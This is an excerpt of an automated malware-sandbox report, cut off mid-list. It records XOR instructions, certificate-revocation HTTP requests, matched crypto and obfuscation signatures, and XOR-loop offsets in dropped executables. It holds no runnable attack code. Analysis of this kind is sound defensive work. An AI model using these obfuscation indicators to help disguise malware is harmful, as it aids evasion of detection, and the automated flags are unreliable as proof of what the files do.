00000000-00005792-35075-44-00942AAC Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005792-35075-52-00944EFD Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005792-35075-52-00944EFD Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005792-35075-57-00946298 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005792-35075-57-00946298 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005792-35075-59-0094621E Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005792-35075-59-0094621E Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005792-35075-60-0094597D Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005792-35075-60-0094597D Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005792-35075-62-009455A0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005792-35075-62-009455A0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005792-35075-63-00945467 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005792-35075-63-00945467 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005792-35075-65-009453A1 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005792-35075-65-009453A1 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005792-35075-66-00942630 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005792-35075-66-00942630 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005792-35075-71-00942CAA Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005792-35075-71-00942CAA Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005792-35075-72-009418A3 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005792-35075-72-009418A3 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00005792-35075-73-009417EE Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00005792-35075-73-009417EE30:T394d,Contains base64 string in header "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEA59dSNcqDdhV39MzSTNbR0" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEA59dSNcqDdhV39MzSTNbR0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.cn" Contains base64 string in header "Keep" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEA59dSNcqDdhV39MzSTNbR0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.cn" Contains base64 string in header "User" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEA59dSNcqDdhV39MzSTNbR0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.cn" Contains base64 string in header "ocsp" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEA59dSNcqDdhV39MzSTNbR0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.cn" Contains base64 string in header "digicert" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEA59dSNcqDdhV39MzSTNbR0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.cn" Contains base64 string in header "2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "2FUsCEHe9DWzbNvka6iEPxPBY0w0" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "Keep" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "User" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "ocsp" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "goog" in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "Keep" in header "GET /r/r1.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "User" in header "GET /r/r1.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "goog" in header "GET /r/r1.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "Keep" in header "GET /r/r1.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: */*If-Modified-Since: Wed, 11 Feb 2026 14:38:00 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "Modified" in header "GET /r/r1.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: */*If-Modified-Since: Wed, 11 Feb 2026 14:38:00 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "2026" in header "GET /r/r1.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: */*If-Modified-Since: Wed, 11 Feb 2026 14:38:00 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "goog" in header "GET /r/r1.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: */*If-Modified-Since: Wed, 11 Feb 2026 14:38:00 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "/wr2/75r4ZyA3vA0" in header "GET /wr2/75r4ZyA3vA0.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "Keep" in header "GET /wr2/75r4ZyA3vA0.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "User" in header "GET /wr2/75r4ZyA3vA0.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "goog" in header "GET /wr2/75r4ZyA3vA0.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "/wr2/75r4ZyA3vA0" in header "GET /wr2/75r4ZyA3vA0.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: */*If-Modified-Since: Mon, 17 Aug 2026 07:11:35 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "Keep" in header "GET /wr2/75r4ZyA3vA0.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: */*If-Modified-Since: Mon, 17 Aug 2026 07:11:35 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "Modified" in header "GET /wr2/75r4ZyA3vA0.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: */*If-Modified-Since: Mon, 17 Aug 2026 07:11:35 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "2026" in header "GET /wr2/75r4ZyA3vA0.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: */*If-Modified-Since: Mon, 17 Aug 2026 07:11:35 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "goog" in header "GET /wr2/75r4ZyA3vA0.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: */*If-Modified-Since: Mon, 17 Aug 2026 07:11:35 GMTUser-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "/wr2/oBFYYahzgVI" in header "GET /wr2/oBFYYahzgVI.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "Keep" in header "GET /wr2/oBFYYahzgVI.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "User" in header "GET /wr2/oBFYYahzgVI.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "goog" in header "GET /wr2/oBFYYahzgVI.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "/wr2/9UVbN0w5E6Y" in header "GET /wr2/9UVbN0w5E6Y.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "Keep" in header "GET /wr2/9UVbN0w5E6Y.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "User" in header "GET /wr2/9UVbN0w5E6Y.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "goog" in header "GET /wr2/9UVbN0w5E6Y.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "Keep" in header "GET /r/gsr1.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "User" in header "GET /r/gsr1.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "goog" in header "GET /r/gsr1.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "Keep" in header "GET /r/r4.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "User" in header "GET /r/r4.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "goog" in header "GET /r/r4.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "/we1/pl4XiTjSDSk" in header "GET /we1/pl4XiTjSDSk.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "Keep" in header "GET /we1/pl4XiTjSDSk.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "User" in header "GET /we1/pl4XiTjSDSk.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "goog" in header "GET /we1/pl4XiTjSDSk.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "/we1/FARePxy0M2M" in header "GET /we1/FARePxy0M2M.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "Keep" in header "GET /we1/FARePxy0M2M.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "User" in header "GET /we1/FARePxy0M2M.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "goog" in header "GET /we1/FARePxy0M2M.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "/we1/G0k" in header "GET /we1/G0k-BqpOX8k.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "Keep" in header "GET /we1/G0k-BqpOX8k.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "User" in header "GET /we1/G0k-BqpOX8k.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "goog" in header "GET /we1/G0k-BqpOX8k.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "Keep" in header "GET /rootg2.cer HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crt.rootg2.amazontrust.com" Contains base64 string in header "User" in header "GET /rootg2.cer HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: crt.rootg2.amazontrust.com" Contains base64 string in header "/MFQwUjBQME4wTDAJBgUrDgMCGgUABBSIfaREXmfqfJR3TkMYnD7O5MhzEgQUnF8A36oB1zArOIiiuG1KnPIRkYMCEwZ" in header "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBSIfaREXmfqfJR3TkMYnD7O5MhzEgQUnF8A36oB1zArOIiiuG1KnPIRkYMCEwZ%2FlEoqJ83z%2BsKuKwH5CO65xMY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.rootg2.amazontrust.com" Contains base64 string in header "2BsKuKwH5CO65xMY" in header "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBSIfaREXmfqfJR3TkMYnD7O5MhzEgQUnF8A36oB1zArOIiiuG1KnPIRkYMCEwZ%2FlEoqJ83z%2BsKuKwH5CO65xMY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.rootg2.amazontrust.com" Contains base64 string in header "Keep" in header "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBSIfaREXmfqfJR3TkMYnD7O5MhzEgQUnF8A36oB1zArOIiiuG1KnPIRkYMCEwZ%2FlEoqJ83z%2BsKuKwH5CO65xMY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.rootg2.amazontrust.com" Contains base64 string in header "User" in header "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBSIfaREXmfqfJR3TkMYnD7O5MhzEgQUnF8A36oB1zArOIiiuG1KnPIRkYMCEwZ%2FlEoqJ83z%2BsKuKwH5CO65xMY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.rootg2.amazontrust.com" Contains base64 string in header "ocsp" in header "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBSIfaREXmfqfJR3TkMYnD7O5MhzEgQUnF8A36oB1zArOIiiuG1KnPIRkYMCEwZ%2FlEoqJ83z%2BsKuKwH5CO65xMY%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.rootg2.amazontrust.com" Contains base64 string in header "Keep" in header "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPWaOUU8%2B5VZ5%2Fa9jFTaU9pkK3FAQUhBjMhTTsvAyUlC4IWZzHshBOCggCEwdzEk8qlS4%2B0YpYvbhdG8DOXyc%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.rootca1.amazontrust.com" Contains base64 string in header "User" in header "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPWaOUU8%2B5VZ5%2Fa9jFTaU9pkK3FAQUhBjMhTTsvAyUlC4IWZzHshBOCggCEwdzEk8qlS4%2B0YpYvbhdG8DOXyc%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.rootca1.amazontrust.com" Contains base64 string in header "ocsp" in header "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPWaOUU8%2B5VZ5%2Fa9jFTaU9pkK3FAQUhBjMhTTsvAyUlC4IWZzHshBOCggCEwdzEk8qlS4%2B0YpYvbhdG8DOXyc%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.rootca1.amazontrust.com" Contains base64 string in header "Keep" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTihuFvpmFDw5hOcIp918Jm5B3CQgQUH1KSYVaCVH%2BBZtgdPQqqMlyH3QgCEA3N2p7AWhpIo7uTRZjDirs%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.r2m04.amazontrust.com" Contains base64 string in header "User" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTihuFvpmFDw5hOcIp918Jm5B3CQgQUH1KSYVaCVH%2BBZtgdPQqqMlyH3QgCEA3N2p7AWhpIo7uTRZjDirs%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.r2m04.amazontrust.com" Contains base64 string in header "ocsp" in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTihuFvpmFDw5hOcIp918Jm5B3CQgQUH1KSYVaCVH%2BBZtgdPQqqMlyH3QgCEA3N2p7AWhpIo7uTRZjDirs%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.r2m04.amazontrust.com"31:T437,The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains ability to perform AES/RC4 encryption (API string) Matched sigs: Able to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Contains ability to perform decryption (API string) Matched sigs: Decrypted SSL network traffic Matched sigs: Contains ability to perform Base64 encoding/decoding Matched sigs: Contains CRYPTO related strings Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Contains ability to decode base64 data Matched sigs: Contains ability to encrypt/encode message (API string) Matched sigs: Contains reference to crypto DLLs Matched sigs: Calls an API typically used to import cryptographic keys into a CSP Matched sigs: HTTP requests contain Base64 strings Matched sigs: Dropped file has high entropy (likely encrypted/compressed content) Matched sigs: Sample file has high entropy (likely encrypted/compressed content) Matched sigs: Contains XOR operation loops [Stream disassembly]32:T473a,Found XOR loop in file "ca8Oc89.exe" at offset 144755; code bytes = 30d0 Found XOR loop in file "ca8Oc89.exe" at offset 181186; code bytes = 30d0 Found XOR loop in file "ca8Oc89.exe" at offset 350950; code bytes = 30d0 Found XOR loop in file "ca8Oc89.exe" at offset 396418; code bytes = 30d0 Found XOR loop in file "ca8Oc89.exe" at offset 418835; code bytes = 30d0 Found XOR loop in file "ca8Oc89.exe" at offset 440642; code bytes = 30d0 Found XOR loop in file "ca8Oc89.exe" at offset 621520; code bytes = 30d0 Found XOR loop in file "ca8Oc89.exe" at offset 643841; code bytes = 30d0 Found XOR loop in file "ca8Oc89.exe" at offset 854221; code bytes = 30d0 Found XOR loop in file "ca8Oc89.exe" at offset 887763; code bytes = 30d0 Found XOR loop in file "ca8Oc89.exe" at offset 912875; code bytes = 30d0 Found XOR loop in file "ca8Oc89.exe" at offset 934213; code bytes = 30d0 Found XOR loop in file "ca8Oc89.exe" at offset 967746; code bytes = 30d0 Found XOR loop in file "ca8Oc89.exe" at offset 986930; code bytes = 30d0 Found XOR loop in file "ca8Oc89.exe" at offset 995770; code bytes = 30d0 Found XOR loop in file "ca8Oc89.exe" at offset 26031; code bytes = 33c1 Found XOR loop in file "ca8Oc89.exe" at offset 246282; code bytes = 33c1 Found XOR loop in file "ca8Oc89.exe" at offset 306224; code bytes = 33c1 Found XOR loop in file "ca8Oc89.exe" at offset 434958; code bytes = 33c1 Found XOR loop in file "ca8Oc89.exe" at offset 483221; code bytes = 33c1 Found XOR loop in file "ca8Oc89.exe" at offset 491273; code bytes = 33c1 Found XOR loop in file "ca8Oc89.exe" at offset 533760; code bytes = 33c1 Found XOR loop in file "ca8Oc89.exe" at offset 629877; code bytes = 33c1 Found XOR loop in file "ca8Oc89.exe" at offset 630332; code bytes = 33c1 Found XOR loop in file "ca8Oc89.exe" at offset 695526; code bytes = 33c1 Found XOR loop in file "ca8Oc89.exe" at offset 783427; code bytes = 33c1 Found XOR loop in file "ca8Oc89.exe" at offset 805742; code bytes = 33c1 Found XOR loop in file "ca8Oc89.exe" at offset 812342; code bytes = 33c1 Found XOR loop in file "ca8Oc89.exe" at offset 849496; code bytes = 33c1 Found XOR loop in file "ca8Oc89.exe" at offset 1006276; code bytes = 33c1 Found XOR loop in file "ca8Oc89.exe" at offset 1026489; code bytes = 33c1 Found XOR loop in file "ca8Oc89.exe" at offset 90891; code bytes = 8030 Found XOR loop in file "ca8Oc89.exe" at offset 102399; code bytes = 8030 Found XOR loop in file "ca8Oc89.exe" at offset 103104; code bytes = 8030 Found XOR loop in file "ca8Oc89.exe" at offset 141744; code bytes = 8030 Found XOR loop in file "ca8Oc89.exe" at offset 215782; code bytes = 8030 Found XOR loop in file "ca8Oc89.exe" at offset 219685; code bytes = 8030 Found XOR loop in file "ca8Oc89.exe" at offset 243697; code bytes = 8030 Found XOR loop in file "ca8Oc89.exe" at offset 391819; code bytes = 8030 Found XOR loop in file "ca8Oc89.exe" at offset 572623; code bytes = 8030 Found XOR loop in file "ca8Oc89.exe" at offset 890681; code bytes = 8030 Found XOR loop in file "1SX49Ye8.exe" at offset 72323; code bytes = 30d0 Found XOR loop in file "1SX49Ye8.exe" at offset 122082; code bytes = 30d0 Found XOR loop in file "1SX49Ye8.exe" at offset 376916; code bytes = 30d0 Found XOR loop in file "1SX49Ye8.exe" at offset 376937; code bytes = 30d0 Found XOR loop in file "1SX49Ye8.exe" at offset 691258; code bytes = 30d0 Found XOR loop in file "1SX49Ye8.exe" at offset 887915; code bytes = 30d0 Found XOR loop in file "1SX49Ye8.exe" at offset 888929; code bytes = 30d0 Found XOR loop in file "1SX49Ye8.exe" at offset 891921; code bytes = 30d0 Found XOR loop in file "1SX49Ye8.exe" at offset 900833; code bytes = 30d0 Found XOR loop in file "1SX49Ye8.exe" at offset 913601; code bytes = 30d0 Found XOR loop in file "1SX49Ye8.exe" at offset 130790; code bytes = 33c1 Found XOR loop in file "1SX49Ye8.exe" at offset 140043; code bytes = 33c1 Found XOR loop in file "1SX49Ye8.exe" at offset 140172; code bytes = 33c1 Found XOR loop in file "1SX49Ye8.exe" at offset 351053; code bytes = 33c1 Found XOR loop in file "1SX49Ye8.exe" at offset 463773; code bytes = 33c1 Found XOR loop in file "1SX49Ye8.exe" at offset 463848; code bytes = 33c1 Found XOR loop in file "1SX49Ye8.exe" at offset 597022; code bytes = 33c1 Found XOR loop in file "1SX49Ye8.exe" at offset 701978; code bytes = 33c1 Found XOR loop in file "1SX49Ye8.exe" at offset 709317; code bytes = 33c1 Found XOR loop in file "1SX49Ye8.exe" at offset 709765; code bytes = 33c1 Found XOR loop in file "1SX49Ye8.exe" at offset 710341; code bytes = 33c1 Found XOR loop in file "1SX49Ye8.exe" at offset 710789; code bytes = 33c1 Found XOR loop in file "1SX49Ye8.exe" at offset 895349; code bytes = 33c1 Found XOR loop in file "1SX49Ye8.exe" at offset 905289; code bytes = 33c1 Found XOR loop in file "1SX49Ye8.exe" at offset 1330; code bytes = 8030 Found XOR loop in file "1SX49Ye8.exe" at offset 1959; code bytes = 8030 Found XOR loop in file "1SX49Ye8.exe" at offset 232120; code bytes = 8030 Found XOR loop in file "1SX49Ye8.exe" at offset 356589; code bytes = 8030 Found XOR loop in file "1SX49Ye8.exe" at offset 674772; code bytes = 8030 Found XOR loop in file "1SX49Ye8.exe" at offset 687130; code bytes = 8030 Found XOR loop in file "1SX49Ye8.exe" at offset 887876; code bytes = 8030 Found XOR loop in file "1SX49Ye8.exe" at offset 890824; code bytes = 8030 Found XOR loop in file "1SX49Ye8.exe" at offset 894056; code bytes = 8030 Found XOR loop in file "1SX49Ye8.exe" at offset 913562; code bytes = 8030 Found XOR loop in file "JA0VX88.exe" at offset 255105; code bytes = 30d0 Found XOR loop in file "JA0VX88.exe" at offset 300540; code bytes = 30d0 Found XOR loop in file "JA0VX88.exe" at offset 322957; code bytes = 30d0 Found XOR loop in file "JA0VX88.exe" at offset 344740; code bytes = 30d0 Found XOR loop in file "JA0VX88.exe" at offset 525537; code bytes = 30d0 Found XOR loop in file "JA0VX88.exe" at offset 547841; code bytes = 30d0 Found XOR loop in file "JA0VX88.exe" at offset 26031; code bytes = 33c1 Found XOR loop in file "JA0VX88.exe" at offset 175490; code bytes = 33c1 Found XOR loop in file "JA0VX88.exe" at offset 210387; code bytes = 33c1 Found XOR loop in file "JA0VX88.exe" at offset 339056; code bytes = 33c1 Found XOR loop in file "JA0VX88.exe" at offset 387311; code bytes = 33c1 Found XOR loop in file "JA0VX88.exe" at offset 395355; code bytes = 33c1 Found XOR loop in file "JA0VX88.exe" at offset 437817; code bytes = 33c1 Found XOR loop in file "JA0VX88.exe" at offset 533877; code bytes = 33c1 Found XOR loop in file "JA0VX88.exe" at offset 534332; code bytes = 33c1 Found XOR loop in file "JA0VX88.exe" at offset 599510; code bytes = 33c1 Found XOR loop in file "JA0VX88.exe" at offset 687362; code bytes = 33c1 Found XOR loop in file "JA0VX88.exe" at offset 709669; code bytes = 33c1 Found XOR loop in file "JA0VX88.exe" at offset 716269; code bytes = 33c1 Found XOR loop in file "JA0VX88.exe" at offset 799673; code bytes = 33c1 Found XOR loop in file "JA0VX88.exe" at offset 90891; code bytes = 8030 Found XOR loop in file "JA0VX88.exe" at offset 102399; code bytes = 8030 Found XOR loop in file "JA0VX88.exe" at offset 103104; code bytes = 8030 Found XOR loop in file "JA0VX88.exe" at offset 295941; code bytes = 8030 Found XOR loop in file "JA0VX88.exe" at offset 476656; code bytes = 8030 Found XOR loop in file "JA0VX88.exe" at offset 755858; code bytes = 8030 Found XOR loop in file "CF3Mr43.exe" at offset 159610; code bytes = 30d0 Found XOR loop in file "CF3Mr43.exe" at offset 205029; code bytes = 30d0 Found XOR loop in file "CF3Mr43.exe" at offset 227429; code bytes = 30d0 Found XOR loop in file "CF3Mr43.exe" at offset 249204; code bytes = 30d0 Found XOR loop in file "CF3Mr43.exe" at offset 429904; code bytes = 30d0 Found XOR loop in file "CF3Mr43.exe" at offset 452208; code bytes = 30d0 Found XOR loop in file "CF3Mr43.exe" at offset 609754; code bytes = 30d0 Found XOR loop in file "CF3Mr43.exe" at offset 26031; code bytes = 33c1 Found XOR loop in file "CF3Mr43.exe" at offset 243520; code bytes = 33c1 Found XOR loop in file "CF3Mr43.exe" at offset 291751; code bytes = 33c1 Found XOR loop in file "CF3Mr43.exe" at offset 299787; code bytes = 33c1 Found XOR loop in file "CF3Mr43.exe" at offset 342225; code bytes = 33c1 Found XOR loop in file "CF3Mr43.exe" at offset 438244; code bytes = 33c1 Found XOR loop in file "CF3Mr43.exe" 